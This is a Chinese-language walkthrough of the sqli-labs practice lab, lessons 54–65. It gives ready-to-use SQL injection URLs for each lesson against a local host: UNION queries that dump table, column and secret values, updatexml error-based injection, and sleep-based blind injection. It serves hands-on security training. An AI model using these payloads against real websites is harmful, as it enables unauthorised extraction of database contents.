sqli-labs通关攻略54-65[Challenges]

Advanced Injections

文章目录

    • Advanced Injections
      • less-54
      • less-55
      • less-56
      • less-60
      • less-62
      • less-63
      • less-64
      • less-65

最后一篇补上。

less-54

sqli-labs通关攻略54-65[Challenges]_第1张图片
sqli-labs通关攻略54-65[Challenges]_第2张图片

字符型注入,只不过这里只能限制十次查询,超过十次就会随机更换表名和字段名。也就是说我们要在10次内查询所有结果,这其实是够的。

http://127.0.0.1/sql-labs/less-54/index.php?id=-1' union select 1,version(),database()--+

sqli-labs通关攻略54-65[Challenges]_第3张图片

http://127.0.0.1/sql-labs/less-54/index.php?id=-11' union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema='challenges'--+

sqli-labs通关攻略54-65[Challenges]_第4张图片

http://127.0.0.1/sql-labs/less-54/index.php?id=-11' union select 1,group_concat(column_name) ,3 from information_schema.columns where table_name='f4kp5pe0zk'--+

sqli-labs通关攻略54-65[Challenges]_第5张图片

http://127.0.0.1/sql-labs/less-54/index.php?id=-11'  union select 1,2,group_concat(id,0x7e,sessid,0x7e,secret_CEKG,0x7e,tryy) from challenges.f4kp5pe0zk--+

sqli-labs通关攻略54-65[Challenges]_第6张图片

输入对应的secret_CEKG,即可闯关成功
sqli-labs通关攻略54-65[Challenges]_第7张图片

less-55

sqli-labs通关攻略54-65[Challenges]_第8张图片
sqli-labs通关攻略54-65[Challenges]_第9张图片
还是限制查询次数,一旦超过次数,还是会改表名和字段名
变成了限制14次,还有参数包裹变了下

http://127.0.0.1/sql-labs/less-55/?id=-1) union select 1,user(),version()--+

sqli-labs通关攻略54-65[Challenges]_第10张图片
也就是说把闭合换下,还是能查数据的,只不过查询限制为14次。

less-56

sqli-labs通关攻略54-65[Challenges]_第11张图片
sqli-labs通关攻略54-65[Challenges]_第12张图片还是一样闭合改下即可

http://127.0.0.1/sql-labs/less-56/?id=-1') union select 1,user(),version()--+

sqli-labs通关攻略54-65[Challenges]_第13张图片
less-57
sqli-labs通关攻略54-65[Challenges]_第14张图片
sqli-labs通关攻略54-65[Challenges]_第15张图片

还是闭合问题…作者每一个闭合都独自做一道题:’,",’),")。

http://127.0.0.1/sql-labs/less-57/?id=-1" union select 1,user(),version()--+

less-58
sqli-labs通关攻略54-65[Challenges]_第16张图片
没有打印数据库查询结果,这里联合查询是不能用的。
下面有打印出报错信息,可以尝试报错注入。

http://127.0.0.1/sql-labs/less-58/index.php?id=-1' and updatexml(1,concat(0x7e,(select database())),1)--+

只允许查询5次,5次后改名

less-59
sqli-labs通关攻略54-65[Challenges]_第17张图片

还是一样,基于上题,改变闭合。
http://127.0.0.1/sql-labs/less-59/index.php?id=-1 and updatexml(1,concat(0x7e,(select database())),1)–+

less-60

sqli-labs通关攻略54-65[Challenges]_第18张图片

("$id"),闭合即可,还是使用报错注入

http://127.0.0.1/sql-labs/less-60/index.php?id=-1") and updatexml(1,concat(0x7e,(select database())),1)--+

less-61
sqli-labs通关攻略54-65[Challenges]_第19张图片
闭合:

http://127.0.0.1/sql-labs/less-61/index.php?id=-1')) and  updatexml(1,concat(0x7e,(select database())),1)--+

less-62

sqli-labs通关攻略54-65[Challenges]_第20张图片
sqli-labs通关攻略54-65[Challenges]_第21张图片

错误回显都被注释了,可以进行盲注测试

http://127.0.0.1/sqli-labs/Less-62/?id=1') and if(ascii(substr(database(),1,1))=99,sleep(3),1)--+

less-63

sqli-labs通关攻略54-65[Challenges]_第22张图片

sqli-labs通关攻略54-65[Challenges]_第23张图片

'闭合,盲注
http://127.0.0.1/sql-labs/Less-63/?id=1’and if(ascii(substr(database(),1,1))=99,sleep(5),1)–+

less-64

sqli-labs通关攻略54-65[Challenges]_第24张图片
sqli-labs通关攻略54-65[Challenges]_第25张图片))闭合

http://127.0.0.1/sql-labs/Less-64/?id=1)) and if(ascii(substr(database(),1,1))=99,sleep(5),1)--+

less-65

sqli-labs通关攻略54-65[Challenges]_第26张图片
sqli-labs通关攻略54-65[Challenges]_第27张图片
")

http://127.0.0.1/sql-labs/Less-65/?id=1") and if(ascii(substr(database(),1,1))=99,sleep(5),1)--+

你可能感兴趣的:(web安全,SQL注入)